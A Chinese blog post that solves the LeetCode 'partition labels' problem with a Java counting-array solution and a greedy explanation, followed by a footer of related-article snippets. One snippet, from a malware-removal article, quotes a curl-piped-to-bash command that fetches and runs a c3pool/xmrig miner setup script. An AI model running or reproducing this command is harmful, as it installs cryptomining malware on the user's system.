算法题解记录12+++划分字母区间(百日筑基)

        本题我首先分享我的思路,再在补充中说明贪心算法。

题目描述:

        给你一个字符串 s 。我们要把这个字符串划分为尽可能多的片段,同一字母最多出现在一个片段中。

        注意,划分结果需要满足:将所有划分结果按顺序连接,得到的字符串仍然是 s 。

        返回一个表示每个字符串片段的长度的列表。

示例 1:

输入:s = "ababcbacadefegdehijhklij"
输出:[9,7,8]
解释:
划分结果为 "ababcbaca"、"defegde"、"hijhklij" 。
每个字母最多出现在一个片段中。
像 "ababcbacadefegde", "hijhklij" 这样的划分是错误的,因为划分的片段数较少。 

示例 2:

输入:s = "eccbbbbdec"
输出:[10]

提示:

  • 1 <= s.length <= 500
  • s 仅由小写英文字母组成

解题准备:

        1.了解可能存在的基础操作:首先,要求划分字符串,那么划分得到的字符串(就题意,不要求真正出新字符串,并返回),需要进行记录,所以可能有添加;;;其次,既然涉及数组,所以大概率涉及遍历(即查找);;;总之,可能有添加、查找两个基本操作。

        2.了解字符串:字符串的本质是字符数组,对字符串的操作归根结底是对字符数组的操作,因此需要知道字符串转字符数组:str.toCharArray();

        3.理顺题目要求:题目其实有三个要求:第一,划分得到的字符串段如S1、S2……SN,必须有S1+S2+……+SN==原字符串(不能缺、不能多、顺序不能乱变)  ===  第二,要求Si与Sj(i,j属于1到N,并且i!=j)之间,不能有相同字符,比如Si是“abcd”有字符a,Sj如果是“aef”则不满足,因为同样有字符‘a’  ===  第三,要求划分后,字符串段尽可能多。

        4.模拟操作:去掉所有条件,从原始开始组合,第一个条件,比较基础,第二个条件,引出以下疑问:如果我们只要求,划分出两个字符串段S1和S2,要求S1和S2中没有相同字符,怎么做?

解题难点1分析:

        难点1:

                在解题准备“4”中,如果只要求,划分两个字符串段S1、S2,且S1和S2中没有相同字符,可以怎么操作?

        思路1分析:更简单的角度

                如果我们提供两个不同的字符串S1、S2,要求找到S1、S2中是否有相同字符,如果有返回true,没有返回false,怎么做?【S1、S2中只有小写字符】

                思路1解:

                【思路1的题目用boolean数组即可,因为只判断有没有,本题用int数组是为接下来做准备】

                第一,用一个长度为26的int[]数组A1,先遍历一次S1,记录每个字符出现的个数(有这个字符,对应的位置++)。

                第二,同理,创建长度为26的int[]数组A2,遍历S2,记录字符个数,如果有对应字符,那么对应位置++。

                第三,遍历数组A1,但凡有A1[i]!=0,判断A2[i]==0?如果等于0,继续遍历,不等于0,说明二者有重复,返回false。

        思路2分析:从难点1角度出发

                对于输入字符串S,如果已经划分为两部分,那么可以用思路1求解,目前问题是要求你划分。

                所以,需要动态的变化,动态的记录。【使用一个指针(下标)ptr】

               思路2解:

                第一步,继续创建长度为26的int数组A1、A2,首先将S的字符记录进A1中。

                第二步,移动指针ptr,将第一个字符记录进A2,从A1删除第一个字符(对应字符--)

                第三步,通过A1、A2判断是否有重复字符,如果无重复,则将S划分。

                (比如S是“abdb”),直接划分成【“a”,“bcb”】即可。

                当然,很可能S是“abdafe”这种类型。

                那么,第四步,进行迭代,每次,ptr向前移动一步,将S.charAt(ptr)记录进A2,同时删除A1数据。然后进行第三步判断,

                直到1.找到无重复字符。2.遍历完整个字符串S,都没有符合题意。才返回数据。

解题难点2分析:

        由“解题难点1分析”,我们容易知道如何划分一个字符串S,使S1和S2中没有相同字符,并且使S1尽可能短【因为一旦遇到S1、S2无相同字符,就立刻返回S1,如果从0开始,那么S1一定是最短的】

        不过,题目要求划分尽可能多的字符串段。

        难点2:

                对于一个字符串S,如何划分出尽可能多的、字符不重复的字符串段?

        思路1分析:用迭代的思想

                我们已经知道从S划分S1、S2,那么对于原始输入S,我们划分出S1、S2后,S1必定和S2无相同字符、并且但凡S1减少一位,就会有相同字符,所以,S1是最基础输出【也一定是第一个输出】。

                那么,想找到第二个输出,必然要从S2中找。

                不妨把S2看成S,从S2中拿到S1’ 和 S2’,

                拿到第二个输出后,又得考虑S2’中是否存在……

                就此迭代……直到遍历完整个字符数组,即可返回完整输出。

                迭代结束条件:这里需要考虑指针ptr是否越界,一旦越界必然出错,所以ptr最多指向s.length-1,至此迭代结束。

代码:

class Solution {public List<Integer> partitionLabels(String s) {int[] temp=new int[26];int[] data=new int[26];char[] x=s.toCharArray(); // 用s.charAt(i)也一样;int ptr=0; // 指针List<Integer> res=new ArrayList<>();for(char a:x){temp[a-'a']++; // 首先记录A1}while(ptr<x.length){  // 只要不遍历结束,就一直遍历// 这一部分属于初始化,否则一开始data中为null,必然与temp不相交data[x[ptr]-'a']++; // A2++temp[x[ptr]-'a']--; // A1--ptr++; //ptr++while(isFalse(temp, data)){data[x[ptr]-'a']++;temp[x[ptr]-'a']--;ptr++;}// ttt用于确定前面已划分出的字符串长度int ttt=0;for(int n:res){ttt+=n;}res.add(ptr-ttt); // 重置A2for(int i=0; i<26; i++){data[i]=0;}}return res;}// 判断是否有重复元素private boolean isFalse(int[] temp, int[] data){for(int i=0; i<26; i++){if(data[i]!=0){if(temp[i]!=0){return true; // 有重复元素返回true}}}return false;}
}

补充贪心算法:

        本题的题解使用贪心算法,思路也比较简单。

        1.利用HashMap哈希表,记录所有字符最晚出现的位置,key是字符,value是Integer,表示最晚的位置。比如"baabcbacadefegdehijhklij",记录a=8, b=5……

        2.采用for循环遍历s的字符数组,拿到s.charAt(i)最晚出现的位置(hashMap.get(s.charAt(i)),如果最晚出现晚于目前最晚的位置(比如a=8,b=5,首先遍历到b,记录最晚等于5;然后遍历到a,记录最晚为8……)

        3.如果一直遍历到8,没有出现更晚的数据,返回8,这个就是最小的满足题意的答案。

        4.解释:第一个是b=5,也就是说,S1起码到5这个位置,否则不可能出现S1、S2没有相交字符。然后是a=8,也就是说,S1至少到8,否则必定有……(选取最大的即可)

以上内容即我想分享的关于力扣热题12的一些知识。

        我是蚊子码农,如有补充,欢迎在评论区留言。个人也是初学者,知识体系可能没有那么完善,希望各位多多指正,谢谢大家。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/819297.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

书生·浦语大模型全链路开源体系-第5课

书生浦语大模型全链路开源体系-第5课 书生浦语大模型全链路开源体系-第5课相关资源LMDeploy基础配置LMDeploy运行环境下载internlm2-chat-1_8b模型使用Transformer来直接运行InternLM2-Chat-1.8B模型使用LMDeploy以命令行方式与InternLM2-Chat-1.8B模型对话设置KV Cache最大占用…

域名结构的组成

在我们日常的网络使用中&#xff0c;经常会接触到各种各样的域名。域名作为互联网上的标识符号&#xff0c;起到了连接用户和网站的桥梁作用。那么&#xff0c;域名的结构是怎样的呢&#xff1f;它由哪些组成部分构成&#xff1f; 一个完整的域名通常由多个部分组成&#xff0…

数据结构--栈,队列,串,广义表

3.栈 &#xff08;先进后出&#xff09; 栈是一种特殊的线性表&#xff0c;只能从一端插入或删除操作。 4.队列 4.1 4.1.1初始化 4.1.2判断队列是否为空 4.1.3判断队列是否为满 4.1.4入队 4.1.5出队 4.1.6打印队列 4.1.7销毁队列 5.串 5.1 串的定义 由零个或者任意多…

【安全】查杀linux上c3pool挖矿病毒xmrig

挖矿平台&#xff1a;猫池 病毒来源安装脚本 cat /root/c3pool/config.jsoncrontab -r cd /root/c3poolcurl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALLen_US.UTF-8 bash -s 44SLpuV4U7gB6RNZMCweHxWug7b1YUir4jLr3RBaVX33Qxj…

vue实现前端打印效果

如图效果所示&#xff08;以下演示代码&#xff09; <template><div><el-button v-print"printObj" type"primary" plain click"handle">{{ text }}</el-button><div style"display: none"><div id…

224 基于matlab的优化工具箱优化函数

基于matlab的优化工具箱优化函数&#xff0c; 此工具箱中提供的算法包括&#xff1a; 灰狼优化器&#xff08;GWO&#xff09;&#xff0c;蚂蚁狮子优化器&#xff08;ALO&#xff09;&#xff0c;多功能优化器&#xff08;MVO&#xff09;&#xff0c;蜻蜓算法&#xff08;DA&…

【模拟】Leetcode 替换所有的问号

题目讲解 1576. 替换所有的问号 算法讲解 这里有两个特殊情况&#xff1a;如果&#xff1f;在第一个位置&#xff0c;只需要判断后面的符号&#xff1b; 如果&#xff1f;在最后一个位置&#xff0c;只需要判断前面的符号 class Solution { public:string modifyString(stri…

七月审稿之提升模型效果的三大要素:prompt、数据质量、训练策略(含Reviewer2和PeerRead)​

前言 我带队的整个大模型项目团队超过40人了&#xff0c;分六个项目组&#xff0c;每个项目组都是全职带兼职&#xff0c;且都会每周确定任务/目标/计划&#xff0c;然后各项目组各自做任务拆解&#xff0c;有时同组内任务多时 则2-4人一组 方便并行和讨论&#xff0c;每周文档…

蓝桥杯-单片机组基础15——会呼吸的流水灯制作详解

蓝桥杯单片机组备赛指南请查看 &#xff1a;本专栏第1篇文章 本文章针对蓝桥杯-单片机组比赛开发板所写&#xff0c;代码可直接在比赛开发板上使用。 型号&#xff1a;国信天长4T开发板&#xff08;绿板&#xff09;&#xff0c;芯片&#xff1a;IAP15F2K61S2 &#xff08;使…

实验:数据结构(结构体在单链表中的增删改查)

#include<stdio.h> #include<stdlib.h> #include <string.h> #include <string> using std::string;//strcmp需要加这三行代码&#xff0c;因为标准库中没有 #include<malloc.h> typedef struct { char id[16]; char name[20]; dou…

OpenKylin设置root密码

前言 新安装的OpenKylin系统应该root用户没有设置密码&#xff0c;但是可以使用sudo -i 临时获取root权限&#xff0c;不影响正常使用 当前是root用户 1、终端输入passwd命令 passwd2、按照提示输入新密码和确认密码 当前非root用户 1、终端输入sudo passwd root 命令 s…

【计算机毕业设】智慧食堂管理系统——后附源码

&#x1f389;**欢迎来到我的技术世界&#xff01;**&#x1f389; &#x1f4d8; 博主小档案&#xff1a; 一名来自世界500强的资深程序媛&#xff0c;毕业于国内知名985高校。 &#x1f527; 技术专长&#xff1a; 在深度学习任务中展现出卓越的能力&#xff0c;包括但不限于…

cookie与session及其区别

一、cookie 1. 为什么需要cookie&#xff1f; web程序使用HTTP协议进行传输&#xff0c;而HTTP协议是无状态的协议&#xff08;即对事务处理无记忆性&#xff0c;如果后续处理需要使用前面的信息&#xff0c;只能重传&#xff0c;导致每次连接传送的数据量增大&#xff09;。c…

【VUE】Vue项目打包报告生成:让性能优化触手可及

Vue项目打包报告生成&#xff1a;让性能优化触手可及 Vue.js是一款流行的前端框架&#xff0c;开发者在使用Vue.js构建项目时&#xff0c;生产环境的性能优化尤为重要。为了帮助开发者分析和优化打包出来的资源&#xff0c;生成打包报告是一个不可或缺的步骤。本文将介绍几种在…

图深度学习(一):介绍与概念

目录 一、介绍 二、图的数据结构 三、图深度学习的基本模型 四、图深度学习的基本操作和概念 五、训练过程 六、主要应用场景 七、总结 一、介绍 图深度学习是将深度学习应用于图形数据结构的领域&#xff0c;它结合了图论的概念和深度学习的技术&#xff0c;用以处理和…

久菜盒子|留学|推荐信|结构抗震设计课、化工工艺设备设计

在众多学生当中&#xff0c;10这名学生给我留下了更深的印象&#xff0c;她对学习的认真态度、一丝不苟的精神&#xff0c;都让我感受到她的与众不同。因此&#xff0c;作为我校土木工程学院的前院长&#xff0c;我对于10申请贵校表示支持并毫无保留的推荐这位学生。 在结构抗震…

如何在浏览器Web前端在线编辑PPT幻灯片?

有时候在项目中我们会遇到需要在网页在线打开并编辑PPT文档保存到本地或者服务器指定位置&#xff0c;猿大师办公助手可以很方便的调用本机Office实现在网页上编辑PPT幻灯片&#xff0c;效果与本机Office打开PPT完全一样。 猿大师办公助手支持完整嵌入模式&#xff0c;也就是本…

pyskl手势/动作识别的实现与pytorch cuda环境部署保姆教程

恭喜你&#xff0c;找到这篇不需要翻墙就能够成功部署的方法。在国内布置这个挺麻烦的&#xff0c;其他帖子会出现各种问题不能完全贯通。便宜你了。。 实话5年前我用1080训练过一个基于卷积和ltsm的手势识别&#xff0c;实话实说感觉比现在效果好。是因为现在的注意力都在tra…

.NET 设计模式—命令模式(Command Pattern)

简介 命令模式&#xff08;Command Pattern&#xff09;是一种数据驱动的设计模式&#xff0c;它属于行为型模式。请求以命令的形式包裹在对象中&#xff0c;并传给调用对象。调用对象寻找可以处理该命令的合适的对象&#xff0c;并把该命令传给相应的对象&#xff0c;该对象执…

开源模型应用落地-chatglm3-6b-批量推理-入门篇(四)

一、前言 刚开始接触AI时&#xff0c;您可能会感到困惑&#xff0c;因为面对众多开源模型的选择&#xff0c;不知道应该选择哪个模型&#xff0c;也不知道如何调用最基本的模型。但是不用担心&#xff0c;我将陪伴您一起逐步入门&#xff0c;解决这些问题。 在信息时代&#xf…